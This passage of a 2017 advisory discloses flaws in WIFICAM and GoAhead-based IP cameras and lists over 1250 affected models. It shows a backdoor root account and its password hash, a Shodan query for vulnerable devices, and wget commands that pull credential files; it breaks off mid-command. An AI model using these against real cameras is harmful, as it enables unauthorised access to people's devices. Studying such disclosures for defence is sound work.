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The complete version on analysing the security of "Wireless IP Camera (P2P) WIFICAM cameras and vulnerabilities in GoAhead" is posted here: https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html === text-version of the advisory without technical explanations === -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ## Advisory Information Title: Multiple vulnerabilities found in Wireless IP Camera (P2P) WIFICAM cameras and vulnerabilities in GoAhead Advisory URL: https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt Blog URL: https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html Date published: 2017-03-08 Vendors contacted: None Release mode: Released CVE: no current CVE ## Product Description The Wireless IP Camera (P2P) WIFICAM is a Chinese web camera which allows to stream remotely. [please visit the HTML version at https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html to see the image] ## Vulnerabilities Summary The Wireless IP Camera (P2) WIFICAM is a camera overall badly designed with a lot of vulnerabilities. This camera is very similar to a lot of other Chinese cameras. It seems that a generic camera is being sold by a Chinese company in bulk (OEM) and the buyer companies resell them with custom software development and specific branding. Wireless IP Camera (P2) WIFICAM is one of the branded cameras. So, cameras are sold under different names, brands and functions. The HTTP interface is different for each vendor but shares the same vulnerabilities. Because of code reusing, the vulnerabilities are present in a huge list of cameras (especially the InfoLeak and the RCE), which allow to execute root commands against 1250+ camera models with a pre-auth vulnerability. The summary of the vulnerabilities is: 1. Backdoor account 2. RSA key and certificates 3. Pre-Auth Info Leak (credentials) within the GoAhead http server 4. Authenticated RCE as root 5. Pre-Auth RCE as root 6. Misc - Streaming without authentication 7. Misc - "Cloud" (Aka Botnet) The vulnerabilities in the Cloud management affect a lot of P2P or "Cloud" cameras. My tests have shown that the InfoLeak affecting the GoAhead server running on the camera affects at least 1250+ camera models. It can be used to execute the RCE as root. Thus, these cameras are likely affected by a pre-auth RCE as root: 3G+IPCam Other 3SVISION Other 3com CASA 3com Other 3xLogic Other 3xLogic Radio 4UCAM Other 4XEM Other 555 Other 7Links 3677 7Links 3677-675 7Links 3720-675 7Links 3720-919 7Links IP-Cam-in 7Links IP-Wi-Fi 7Links IPC-760HD 7Links IPC-770HD 7Links Incam 7Links Other 7Links PX-3615-675 7Links PX-3671-675 7Links PX-3720-675 7Links PX3309 7Links PX3615 7Links ipc-720 7Links px-3675 7Links px-3719-675 7Links px-3720-675 A4Tech Other ABS Other ADT RC8021W AGUILERA AQUILERA AJT AJT-019129-BBCEF ALinking ALC ALinking Other ALinking dax AMC Other ANRAN ip180 APKLINK Other AQUILA AV-IPE03 AQUILA AV-IPE04 AVACOM 5060 AVACOM 5980 AVACOM H5060W AVACOM NEW AVACOM Other AVACOM h5060w AVACOM h5080w Acromedia IN-010 Acromedia Other Advance Other Advanced+home lc-1140 Aeoss J6358 Aetos 400w Agasio A500W Agasio A502W Agasio A512 Agasio A533W Agasio A602W Agasio A603W Agasio Other AirLink Other Airmobi HSC321 Airsight Other Airsight X10 Airsight X34A Airsight X36A Airsight XC39A Airsight XX34A Airsight XX36A Airsight XX40A Airsight XX60A Airsight x10 Airsight x10Airsight Airsight xc36a Airsight xc49a Airsight xx39A Airsight xx40a Airsight xx49a Airsight xx51A Airsight xx51a Airsight xx52a Airsight xx59a Airsight xx60a Akai AK7400 Akai SP-T03WP Alecto 150 Alecto Atheros Alecto DVC-125IP Alecto DVC-150-IP Alecto DVC-1601 Alecto DVC-215IP Alecto DVC-255-IP Alecto dv150 Alecto dvc-150ip Alfa 0002HD Alfa Other Allnet 2213 Allnet ALL2212 Allnet ALL2213 Amovision Other Android+IP+cam IPwebcam Anjiel ip-sd-sh13d Apexis AH9063CW Apexis APM-H803-WS Apexis APM-H804-WS Apexis APM-J011 Apexis APM-J011-Richard Apexis APM-J011-WS Apexis APM-J012 Apexis APM-J012-WS Apexis APM-J0233 Apexis APM-J8015-WS Apexis GENERIC Apexis H Apexis HD Apexis J Apexis Other Apexis PIPCAM8 Apexis Pyle Apexis XF-IP49 Apexis apexis Apexis apm- Apexis dealextreme Aquila+Vizion Other Area51 Other ArmorView Other Asagio A622W Asagio Other Asgari 720U Asgari Other Asgari PTG2 Asgari UIR-G2 Atheros ar9285 AvantGarde SUMPPLE Axis 1054 Axis 241S B-Qtech Other B-Series B-1 BRAUN HD-560 BRAUN HD505 Beaulieu Other Bionics Other Bionics ROBOCAM Bionics Robocam Bionics T6892WP Bionics t6892wp Black+Label B2601 Bravolink Other Breno Other CDR+king APM-J011-WS CDR+king Other CDR+king SEC-015-C CDR+king SEC-016-NE CDR+king SEC-028-NE CDR+king SEC-029-NE CDR+king SEC-039-NE CDR+king sec-016-ne CDXX Other CDXXcamera Any CP+PLUS CP-EPK-HC10L1 CPTCAM Other Camscam JWEV-372869-BCBAB Casa Other Cengiz Other Chinavasion Gunnie Chinavasion H30 Chinavasion IP611W Chinavasion Other Chinavasion ip609aw Chinavasion ip611w Cloud MV1 Cloud Other CnM IP103 CnM Other CnM sec-ip-cam Compro NC150/420/500 Comtac CS2 Comtac CS9267 Conceptronic CIPCAM720PTIWL Conceptronic cipcamptiwl Cybernova Other Cybernova WIP604 Cybernova WIP604MW D-Link DCS-910 D-Link DCS-930L D-Link L-series D-Link Other DB+Power 003arfu DB+Power DBPOWER DB+Power ERIK DB+Power HC-WV06 DB+Power HD011P DB+Power HD012P DB+Power HD015P DB+Power L-615W DB+Power LA040 DB+Power Other DB+Power Other2 DB+Power VA-033K DB+Power VA0038K DB+Power VA003K+ DB+Power VA0044_M DB+Power VA033K DB+Power VA033K+ DB+Power VA035K DB+Power VA036K DB+Power VA038 DB+Power VA038k DB+Power VA039K DB+Power VA039K-Test DB+Power VA040 DB+Power VA390k DB+Power b DB+Power b-series DB+Power extcams DB+Power eye DB+Power kiskFirstCam DB+Power va033k DB+Power va039k DB+Power wifi DBB IP607W DEVICECLIENTQ CNB DKSEG Other DNT CamDoo DVR DVR DVS-IP-CAM Other DVS-IP-CAM Outdoor/IR Dagro DAGRO-003368-JLWYX Dagro Other Dericam H216W Dericam H502W Dericam M01W Dericam M2/6/8 Dericam M502W Dericam M601W Dericam M801W Dericam Other Digix Other Digoo BB-M2 Digoo MM==BB-M2 Digoo bb-m2 Dinon 8673 Dinon 8675 Dinon SEGEV-105 Dinon segev-103 Dome Other Drilling+machines Other E-Lock 1000 ENSIDIO IP102W EOpen Open730 EST ES-IP602IW EST IP743W EST Other EZCam EPK-EP10L1 EZCam EZCam EZCam Other EZCam PAN/TILT EZCam Pan/Tilt EasyCam EC-101HD EasyCam EC-101HDSD EasyCam EC-101SD EasyCam EC-102 EasyCam Other EasyN 187 EasyN 1BF EasyN 720P EasyN F EasyN F-136 EasyN F-M136 EasyN F-M166 EasyN F-M181 EasyN F-M1b1 EasyN F-SERIES EasyN F133 EasyN F2-611B EasyN F3 EasyN F3-166 EasyN F3-176M EasyN F3-M166 EasyN F3-SERIES EasyN F3-Series EasyN F3-m187 EasyN F3M187 EasyN FS-613A-M136 EasyN FS-613B EasyN FS-613B-M166 EasyN FS-613B-MJPEG EasyN FS613 EasyN F_M10R EasyN H3-V10R EasyN H6-M137h EasyN M091 EasyN Other EasyN est-007660-611b EasyN est-007660333 EasyN f EasyN f-Series EasyN f138 EasyN f_series EasyN fseries EasyN kitch EasyN s EasySE F/B/N/I EasySE H3 EasySE H3e EasySE Other Ebode IPV38W Ebode IPV58 Ebode Other Ego Other Elro 901 Elro 903 Elro 903IP Elro C7031P Elro C703IP2 Elro C704-IP Elro C704IP Elro C704IP.2 Elro C704ip Elro C803IP Elro C903IP Elro C903IP.2 Elro C904IP Elro C904IP.2 Elro IP901 Elro Other Eminent 6564 Eminent EM6220 Eminent EM6564 Eminent em6220 Esky C5900 Esky L Esky Live Esky c5900 Eura-Tech IC-03C3 EyeCam ICAM-608 EyeCam IP65IW EyeCam Other EyeCam STORAGEOPTIONS EyeIPCam IP901W EyeSight ES-IP607W EyeSight ES-IP811W EyeSight ES-IP909IW EyeSight ES-IP935FW EyeSight ES-IP935IW EyeSight IP910IW EyeSight IP915IW EyeSight Other EyeSight ip609IW EyeSight ip909iw EyeSight ip915iw EyeSight mjpeg EyeSpy247 Other F-Series FSERIES F-Series Ip F-Series Other F-Series ip First+Concept Other Focuscam F19821W Foscam FI18904w Foscam FI18905E Foscam FI18905W Foscam FI18906w Foscam FI1890W Foscam FI18910E Foscam FI18910W Foscam FI18910w Foscam FI18916W Foscam FI18918W Foscam FI18919W Foscam FI19810W Foscam FI8094W Foscam FI81904W Foscam FI8601W Foscam FI8602W Foscam FI8606W Foscam FI8610w Foscam FI8903W Foscam FI8903W_Elita Foscam FI8904 Foscam FI8904W Foscam FI8905E Foscam FI8905W Foscam FI8905w Foscam FI8906w Foscam FI8907W Foscam FI8908W Foscam FI8909W Foscam FI890W Foscam FI8910 Foscam FI8910E Foscam FI8910W Foscam FI8910W_DW Foscam FI8910w Foscam FI8916W Foscam FI8918 Foscam FI89180w Foscam FI8918E Foscam FI8918W Foscam FI8918w Foscam FI8919W Foscam FI9804W Foscam FI9805E Foscam FI9810 Foscam FI9810W Foscam FI9818 Foscam FI9820w Foscam FI9821W Foscam FI9821w Foscam FL8910 Foscam FS18908W Foscam FS8910 Foscam Fi8910 Foscam Other Foscam fI8989w Foscam fi1890w Foscam fl8910w FoxCam PTZ2084-L GIGA gb GT+ROAD HS-006344-SPSLM General Other Generic All-in-one Generic Billy Generic DomeA-Outdoor Generic IP Generic Other Gi-star+srl IP6031W Gigaeye GB GoAhead EC-101SD GoAhead GoAheadWebs GoAhead IPCAM1 GoAhead IPCAM2 GoAhead Other GoAhead thedon GoCam Other Goclever EYE Goclever EYE2 Gotake GTK-TH01B H+264+network+DVR 720p H+264+network+DVR Other H.264 Other H6837WI Other HD+IPC Other HD+IPC SV3C HDIPCAM Other Heden CAMH04IPWE Heden CAMHED02IPW Heden CAMHED04IP Heden CAMHED04IPWN Heden CAMHEDIPWP Heden Other Heden VisionCam Heden visionCam HiSilicon Other Hikvision DS-2CD2132 Histream RTSP HooToo F-SERIES HooToo HOOTOO HooToo HT-IP006 HooToo HT-IP006N HooToo HT-IP009HDP HooToo HT-IP206 HooToo HT-IP207F HooToo HT-IP210HDP HooToo HT-IP210P HooToo HT-IP212 HooToo IP009HDP HooToo Other HooToo apm-h803-mpc Hsmartlink Other Hungtek WIFI ICAMView Other ICam I908W ICam IP-1 ICam Other ICam Other2 ICam dome INISOFT-CAM Stan INSTAR 4010 INVID Other IO+Data Other IP66 Other IPC IPC02 IPC Other IPC S5030-TF IPC S5030-m IPC SRICAM IPCC 3XPTZ IPCC 7210W IPCC IPCC-7210W IPCC x01 IPTeles Other IPUX ip-100 ISIT Other IZOtech Other IZTOUCH 0009 IZTOUCH A001 IZTOUCH IZ-009 IZTOUCH LTH-A8645-c15 IZTOUCH Other IZTOUCH Other1 IZTOUCH ap001 IeGeek Other IeGeek ukn Inkovideo V-104 Iprobot3 Other JRECam JM3866W JWcam JWEV JWcam Other Jaycar 3834 Jaycar 720P Jaycar Other Jaycar QC-3831 Jaycar QC-3832 Jaycar QC-3834 Jaycar QC-3836 Jaycar QC-3839 Jaytech IP6021W JhempCAM Back JhempCAM Other KaiKong 1601 KaiKong 1602w KaiKong Other KaiKong SIP KaiKong SIP1602 KaiKong SIP1602W KaiKong sip KaiKong sip1602w Kenton gjc02 Kinson C720PWIP Klok Other Knewmart KW01B Knewmart KW02B Kogan KAIPC01BLKA Kogan KAIPCO1BLKA Kogan Other Kogan encoder Kogan kaipc01blkb Kompernass IUK Koolertron Other Koolertron PnP Koolertron SP-SHEX21-SL LC+security Other LW lw-h264tf LYD H1385H Lager Other Leadtek C351 LevelOne 1010/2010 Libor Other LifeTech MyLifeTech LifeTech Other LifeTech dd Lilly Other Linq Other Lloyds 1107 Loftek CXS Loftek Nexus Loftek Other Loftek SPECTOR Loftek Sendinel Loftek Sentinel LogiLink WC0030A LogiLink wc0044 Logitech C920 MCL 610 MJPEG Other Maginon 100 Maginon 10AC Maginon 20C Maginon IP-20c Maginon IPC Maginon IPC-1 Maginon IPC-10 Maginon IPC-100 Maginon IPC-100AC Maginon IPC-10AC Maginon IPC-2 Maginon IPC-20 Maginon IPC20C Maginon IPC_1A Maginon Other Maginon SUPRA Maginon Supra Maginon ipc Maginon ipc-1a Maginon ipc100a Maginon ipx Maginon w2 Marmitek GM-8126 Maygion IP Maygion OTHER2 Maygion Other Maygion V3 Maygion black Mediatech mt4050 Medisana SmartBabyMonitor Merlin IP Merlin Other Merlin vstc Messoa Other Mingyoushi S6203Y-WR Momentum 2002 Momentum MO-CAM NEXCOM S-CAM NIP NIP-004500-KMTLU NIP NIP-075007-UPHTF NIP NIP-11BGPW NIP NIP-14 NTSE Other Neewer Other Neewer V-100 Neo+CoolCam NIP Neo+CoolCam NIP-02(OAM) Neo+CoolCam NIP-06 Neo+CoolCam NIP-066777-BWESL Neo+CoolCam NIP-102428-DFBEF Neo+CoolCam NIP-H20(OZX) Neo+CoolCam OBJ-007260-LYLDU Neo+CoolCam Other Neo+CoolCam neo Neo+CoolCam nip-11 Neo+CoolCam nip-20 Ness Other NetView Other Netcam Dual-HD Netcam HSL-232245-CWXES Netcam OUVIS Netcam Other Netware Other Nexxt+Solution Xpy Nixzen Other NorthQ NQ-9006 Office+One CM-I11123BK Office+One IP-900 Office+One IP-99 Office+One Other Office+One SC-10IP Office+One ip-900 Office+One ip900 Opexia OPCS Optica+Video FI-8903W Optica+Video FI-8918W Optica+Video Other Otto 4eye Overmax CamSpot Overmax Camspot OwlCam CP-6M201W P2p wificam PCS Other Panasonic BL-C131A PeopleFu IPC-674 PeopleFu IPCAM1 PeopleFu IPCAM2 PeopleFu IPCAM3 PeopleFu IPCAM5 Pixpo 1Z074A2A0301627785 Pixpo PIX006428BFYZY Pixpo PIX009491MLJYM Pixpo PIX009495HURFE Pixpo PIX010584DFACE Plaisio IP Planex Other Planex PLANEX Polariod P351S Polaroid IP-100 Polaroid IP-101W Polaroid IP-200B Polaroid IP-201B Polaroid IP-350 Polaroid IP-351S Polaroid IP-360S Polaroid IP-810W Polaroid IP-810WZ Polaroid Other Polaroid POLIP101W Polaroid POLIP201B Polaroid POLIP201W Polaroid POLIP351S Polaroid POLIP35i5 PowerLead Caue PowerLead PC012 ProveCam IP2521 Provision 717 Provision F-717 Provision F-737 Provision PT-737 Provision WP-711 Provision WP-717P Pyle HD Pyle HD22 Pyle HD46 Pyle Mine Pyle PIPCAM15 Pyle Pipcam12 Pyle cam5 Pyle pipcam25 Pyle pipcam5 Q-nest QN-100S Q-nest qn-100s Queback 720p ROCAM NC-400 ROCAM NC-500 ROCAM NC300 ROCAM NC300-1 ROHS IP ROHS none RTX 06R RTX DVS RTX IP-06R RTX IP-26H RTX Other Rollei safetycam-10hd SES Other SKJM Other SST SST-CNS-BUI18 SVB+International SIP-018262-RYERR SafeHome 278042 SafeHome 616-W SafeHome IP601W-hd SafeHome Other SafeHome VGA SafeHome iprobot Samsung Other Santec-Video Other Sarotech IPCAM-1000 Sarotech ip300 Scricam 004 Scricam 192.168.1.7 Scricam AP-004 Scricam AP-009 Scricam AP0006 Scricam AP006 Secam+CCTV IPCAM Secam+CCTV Other Seculink 10709 Seculink Other Secur+Eye xxc5330 Seisa JK-H616WS Senao PTZ-01H Sequrecam Other Sequrecam PNP-125 Sercomm Other Shenwhen+Neo+Electronic+Co NC-541 Shenwhen+Neo+Electronic+Co Other Shenwhen+Neo+Electronic+Co X-5000B Shenzhen 720P Shixin+China IP-129HW Siepem IPC Siepem S5001Y-BW Siepem S6203y Siepem S6211Y-WR Simi+IP+Camera+Viewer Other Sineoji Other Sineoji PT-315V Sineoji PT-3215P Sineoji PT-325IP Sinocam Other Sky+Genious Genious Skytronic IP Skytronic IP99 Skytronic Other Skytronic WiFi Skytronic dome SmartEye Other SmartWares C723IP SmartWares c724ip SmartWares c923ip SmartWares c924ip Solwise SEC-1002W-IR Spy+Cameras WF-100PCX Spy+Cameras WF-110V Sricam 0001 Sricam 004 Sricam A0009 Sricam A001 Sricam AP-001 Sricam AP-003 Sricam AP-004 Sricam AP-005 Sricam AP-006 Sricam AP-009 Sricam AP-012 Sricam AP-CAM Sricam AP0009 Sricam AP002 Sricam AP995 Sricam Cam1 Sricam Front Sricam Home Sricam Other Sricam SP005 Sricam SP012 Sricam SP013 Sricam SP015 Sricam SRICAM Sricam SRICAM1 Sricam aj-c2wa-c118 Sricam ap Sricam ap006 Sricam ap1 Sricam h.264 Sricam sp013 Sricctv A-0006 Sricctv A-009 Sricctv AJ-006 Sricctv AP-0001 Sricctv AP-0005 Sricctv AP-0009 Sricctv AP-001 Sricctv AP-002 Sricctv AP-003 Sricctv AP-004 Sricctv AP-004AF Sricctv AP-005 Sricctv AP-006 Sricctv AP-007 Sricctv AP-008 Sricctv AP-009 Sricctv AP-011 Sricctv AP-014 Sricctv H-264 Sricctv Other Sricctv P2P-BLACK Sricctv P2P-Black Sricctv SP-007 Sricctv SR-001 Sricctv SR-004 Star+Vedia 6836 Star+Vedia 7837-WIP Star+Vedia C-7835WIP Star+Vedia Other Star+Vedia T-6836WTP Star+Vedia T-7833WIP Star+Vedia T-7837WIP Star+Vedia T-7838WIP StarCam C33-X4 StarCam EY4 StarCam F6836W StarCam Other StarCam c7837wip Stipelectronics Other Storage+Options HOMEGUARD Storage+Options Other Storage+Options SON-IPC1 Sumpple 610 Sumpple 610S Sumpple 631 Sumpple 960P Sumpple S601 Sumpple S610 Sumpple S631 Sumpple S651 Sumpple qd300 Sumpple s631 SunVision+US Other Sunbio Other Suneyes Other Suneyes SP-T01EWP Suneyes SP-T01WP Suneyes SP-TM01EWP Suneyes SP-TM01WP Suneyes SP-tm05wp Sunluxy H-264 Sunluxy HZCam Sunluxy Other Sunluxy PTZ Sunluxy SL-701 Supra+Space IPC Supra+Space IPC-1 Supra+Space IPC-100AC Supra+Space IPC-10AC Supra+Space Other11 Supra+Space ipc-20c Sure-Eye Other Surecom LN-400 Swann 005FTCD Swann 440 Swann 440-IPC Swann ADS-440 Swann ADS-440-PTZ Swann ADS-CAMAX1 Swann Other Swann SWADS-440-IPC Swann SWADS-440IPC-AU Sygonix 43176A Sygonix 43558A Szneo CAM0X Szneo CoolCam Szneo NIP Szneo NIP-0 Szneo NIP-02 Szneo NIP-031 Szneo NIP-031H Szneo NIP-06 Szneo NIP-12 Szneo NIP-2 Szneo NIP-20 Szneo NIP-210485-ABABC Szneo NIP-26 Szneo NIP-X Szneo NP-254095 Szneo Other Szneo TFD TAS-Tech Other Technaxx tx-23 Techview GM8126 Techview QC-3638 Techview qc3839 Temvis Other Tenda C50S Tenda c30 Tenda c5+ Tenvis 0012 Tenvis 3815 Tenvis 3815-W Tenvis 3815W Tenvis 3815W. Tenvis 3815W2013 Tenvis IP-319W Tenvis IP-319w Tenvis IP-391W Tenvis IP-391WHD Tenvis IP-602W Tenvis IP602W Tenvis IPROBOT Tenvis JP-3815W Tenvis JPT-3814WP2P Tenvis JPT-3815 Tenvis JPT-3815-P2P Tenvis JPT-3815W Tenvis JPT-3815W+ Tenvis JPT-3815WP2P Tenvis JPT-3815w Tenvis JPT-3818 Tenvis MINI-319W Tenvis Mini-319 Tenvis Other Tenvis PT-7131W Tenvis TH-661 Tenvis TR-3818 Tenvis TR-3828 Tenvis TR3815W Tenvis TZ100 Tenvis TZ100/IPROBOT3 Tenvus JPG3815W Threeboy IP-660 Topcam SL-30IPC01Z Topcam SL-720IPC02Z Topcam SL-910IW30 Topica+CCTV Other Trivision NC-335PW-HD-10 Trust NW-7500 Turbo+X Endurance Turbo+X IIPC-20 Uokoo 720P VCatch Other VCatch VC-MIC720HK Valtronics IP Valtronics Other Vandesc IP900 Vantech Other Vantech PTZ Videosec+Security IPC-103 Videosec+Security IPP-105 Vimicro Other Vitek+CCTV Other Vstarcam 7823 Vstarcam C-7824WIP Vstarcam C-7833WIP-X4 Vstarcam C-7833wip Vstarcam C-7837WIP Vstarcam C-7838WIP Vstarcam C50S Vstarcam C7816W Vstarcam C7824WIP Vstarcam C782WIP Vstarcam C7842WIP Vstarcam C93 Vstarcam C=7824WIP Vstarcam Cam360 Vstarcam F-6836W Vstarcam H-6837WI Vstarcam H-6837WIP Vstarcam H-6850 Vstarcam H-6850WIP Vstarcam H-6850wip Vstarcam ICAM-608 Vstarcam Other Vstarcam T-6835WIP Vstarcam T-6836WTP Vstarcam T-6892wp Vstarcam T-7815WIP Vstarcam T-7833WIP Vstarcam T-7833wip Vstarcam T-7837WIP Vstarcam T-7838WIP Vstarcam T-7892WIP Vstarcam T6836WTP Vstarcam T7837WIP Vstarcam c7815wip Vstarcam c7833wip Vstarcam c7850wip Wanscam 00D6FB01980F Wanscam 106B Wanscam 118 Wanscam 541-W Wanscam 543-W Wanscam 790 Wanscam AJ-C0WA-198 Wanscam AJ-C0WA-B106 Wanscam AJ-C0WA-B116 Wanscam AJ-C0WA-B168 Wanscam AJ-C0WA-B1D8 Wanscam AJ-C0WA-C0D8 Wanscam AJ-C0WA-C116 Wanscam AJ-C0WA-C126 Wanscam AJ-C2WA-B118 Wanscam AJ-C2WA-C116 Wanscam AJ-C2WA-C118 Wanscam AJ-C2WA-C198 Wanscam AJ-COWA-B1D8 Wanscam AJ-COWA-C116 Wanscam AJ-COWA-C126 Wanscam AJ-COWA-C128 Wanscam AW00004J Wanscam B1D8-1 Wanscam C-118 Wanscam C-126 Wanscam Colour Wanscam FI-18904w Wanscam FR-4020A2 Wanscam FR4020A2 Wanscam HD-100W Wanscam HW-0021 Wanscam HW-0022 Wanscam HW-0022HD Wanscam HW-0023 Wanscam HW-0024 Wanscam HW-0025 Wanscam HW-0026 Wanscam HW-0028 Wanscam HW-0033 Wanscam HW-0036 Wanscam HW-0038 Wanscam HW-0039 Wanscam HW-22 Wanscam HW0030 Wanscam IP Wanscam JW-0001 Wanscam JW-0003 Wanscam JW-0004 Wanscam JW-0004m Wanscam JW-0005 Wanscam JW-0006 Wanscam JW-0008 Wanscam JW-0009 Wanscam JW-0010 Wanscam JW-0011 Wanscam JW-0011l Wanscam JW-0012 Wanscam JW-0018 Wanscam JW-004 Wanscam JW-009 Wanscam JW-CD Wanscam JW000008 Wanscam JW0009 Wanscam JW001 Wanscam JW0012 Wanscam JW008 Wanscam JWEV Wanscam JWEV-011777-NSRVV Wanscam JWEV-011921-RXSXT Wanscam JWEV-360171-BBEAC Wanscam JWEV-380096-CECDB Wanscam JWEV-PEPLOW Wanscam NBC-543W Wanscam NC-530 Wanscam NC-541 Wanscam NC-541/W Wanscam NC-541W Wanscam NC-541w Wanscam NC-543W Wanscam NCB-534W Wanscam NCB-540W Wanscam NCB-541W Wanscam NCB-541WB Wanscam NCB-543W Wanscam NCBL-618W Wanscam NCH-532MW Wanscam NCL-610W Wanscam NCL-612W Wanscam NCL-616W Wanscam NCL-S616W Wanscam Other Wanscam TG-002 Wanscam WJ-0004 Wanscam WX-617 Wanscam Works Wanscam XHA-120903181 Wanscam XHA-4020a2 Wanscam __PTZ Wanscam chiOthernese Wanscam ip Wanscam jw0005 Wanscam jw0010 Wansview 541 Wansview 625W Wansview MCM-627 Wansview N540w Wansview NCB-534W Wansview NCB-541W Wansview NCB-541w Wansview NCB-543W Wansview NCB541W Wansview NCB545W Wansview NCL-610W Wansview NCL610D04 Wansview NCL614W Wansview Other Wansview dcs543w Wansview nc543w Wardmay+CCTV WDM-6702AL Watch+bot+Camera resup WebcamXP Other WinBook Other WinBook T-6835 WinBook T-6835WIP WinBook T-7838 Winic NVT-530004 Wise+Group Other X-Price Other X10 39A X10 AIRSIGHT X10 AirSight X10 Airsight X10 Jake X10 Other X10 XC-38A X10 XX-36A X10 XX-39A X10 XX-56A X10 XX-59A X10 XX-60 X10 XX-69A X10 XX41Ahome XVision Other XXCamera 53100 XXCamera 5330-E XXCamera Other XXCamera XXC-000723-NJFJD XXCamera XXC-092411-DCAFC XXCamera XXC-50100-H XXCamera XXC-50100-T XXCamera XXC-5030-E XXCamera XXC-53100-T XXCamera XXC52130 Xin+Ling Other Yawcam Other Zilink Other Zmodo CMI-11123BK Zmodo IP-900 Zmodo Other Zodiac+Security 909 Zodiac+Security Other Zoneway NC638MW-P ZyXEL Other alexim Other alexim cam22822 alias Other all+in+one+ Other all+in+one+ b1 all-in-one Other allecto DVC-150IP apc Other asw-006 Other boh l bravo Other bush+plus BU-300WF ccam p2p china 8904W china HDIPCAM china IPCAM china Other china PTZCAM china np-02 ciana+exports antani cina Other coolead L coolead L610WS dax Other denver IPC-320 denver IPO-320 e-landing 720p eScam QF100 ebw Other epexis PIPCAMHD82 epexis pipcam5 esecure nvp geeya C602 geeya P2P geeya c801 hdcam Other homeguard 720P homeguard Other homeguard Wireless homeguard wifi iView ID002A iView Other insteon 75790 insteon 75790wh insteon High insteon Other insteon Wireless iuk 5A1 ivision hdwificam iwitness bullet jwt Other jyacam JYA8010 kadymay KDM-6800 kadymay KDM6702 kadymay KMD-6800 kadymay Other kang+xun xxc5030-t kines Other kiocong 1601 kiocong 1602 kiocong 1609 kiocong Other kodak 201pl koicong 1601 l+series CAM0758 l+series CAM0760 l+series Other l+series V100 logan n8504hh meyetech 095475-caeca meyetech 188091-EFBAE meyetech Other meyetech WirelessCam micasaverde VistaCamSD pipcam HD17 pni 941w pni IP451W pni IP541W pni IP941W pni IP951W pni Other pnp IP pnp Other semac Other skylink WC-300PS storex D-10H Shodan lists 185 000 vulnerable cameras ( https://www.shodan.io/search?query=GoAhead+5ccc069c403ebaf9f0171e9517f40e41 ). ## Details - Backdoor account By default, telnetd is running on the camera. user@kali$ telnet 192.168.1.107 Trying 192.168.1.107... Connected to 192.168.1.107. Escape character is '^]'. apk-link login: admin Password: telnet> q Connection closed. user@kali$ One backdoor account exists in the camera: root:$1$ybdHbPDn$ii9aEIFNiolBbM9QxW9mr0:0:0::/root:/bin/sh ## Details - RSA key and certificates The `/system/www/pem/ck.pem` contains an Apple certificate with a private RSA key: / # cat /system/www/pem/ck.pem Bag Attributes friendlyName: Apple Production IOS Push Services: com.app.camera localKeyID: 74 9E 29 D0 6A 47 1B 35 AD D4 68 6D 46 D8 E2 37 C8 DA A1 9D subject=/UID=com.app.camera/CN=Apple Production IOS Push Services: com.app.camera/OU=SQ6NNPBE2K/C=US issuer=/C=US/O=Apple Inc./OU=Apple Worldwide Developer Relations/CN=Apple Worldwide Developer Relations Certification Authority -----BEGIN CERTIFICATE----- [...] -----END CERTIFICATE----- Bag Attributes friendlyName: andrew localKeyID: 74 9E 29 D0 6A 47 1B 35 AD D4 68 6D 46 D8 E2 37 C8 DA A1 9D Key Attributes: <No Attributes> -----BEGIN RSA PRIVATE KEY----- [...] -----END RSA PRIVATE KEY----- ## Details - Pre-Auth Info Leak (credentials) within the GoAhead http server The HTTP interface is provided by GoAhead. It allows 2 kinds of authentication: - - htdigest authentication OR - - authentication using credentials in URI (`?loginuse=LOGIN&?loginpas=PASS`). By default, the web directory contains symbolic links to configuration files (`system.ini` and `system-b.ini` contain credentials): /tmp/web # ls -la *ini lrwxrwxrwx 1 root 0 25 Oct 27 02:11 factory.ini -> /system/param/factory.ini lrwxrwxrwx 1 root 0 30 Oct 27 02:11 factoryparam.ini -> /system/param/factoryparam.ini lrwxrwxrwx 1 root 0 23 Oct 27 02:11 network-b.ini -> /system/www/network.ini lrwxrwxrwx 1 root 0 23 Oct 27 02:11 network.ini -> /system/www/network.ini lrwxrwxrwx 1 root 0 22 Oct 27 02:11 system-b.ini -> /system/www/system.ini lrwxrwxrwx 1 root 0 22 Oct 27 02:11 system.ini -> /system/www/system.ini /tmp/web # With valid credentials, an attacker can retrieve the configuration, as shown below: user@kali$ wget -qO- 'http://admin:admin@192.168.1.107/system.ini'|xxd [...] 000001d0: ffff ffff ffff ffff ffff ffff ffff ffff ................ 000001e0: ffff ffff ffff ffff ffff ffff ffff ffff ................ 000001f0: ffff ffff ffff ffff ffff ffff ffff ffff ................ 00000200: ffff ffff ffff ffff ffff ffff ffff ffff ................ 00000210: ffff ffff ffff ffff ffff ffff 7b6f 1158 ............{o.X 00000220: 0000 0000 0100 0000 7469 6d65 2e6e 6973 ........time.nis 00000230: 742e 676f 7600 0000 0000 0000 0000 0000 t.gov........... 00000240: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000250: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000260: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000270: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000280: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000290: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000002a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000002b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ [...] 00000640: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000650: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000660: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000670: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000680: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000690: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin........... 000006a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000 admin........... 000006c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000006d0: 030a 0a0f 8000 0000 0101 0003 0002 0000 ................ [...] user@kali$ To browse `.cgi` files, an attacker needs to authenticate too: user@kali$ wget -qO- 'http://192.168.1.107/get_params.cgi?loginuse=BAD_LOGIN&loginpas=BAD_PASS' var result="Auth Failed"; user@kali$ wget -qO- 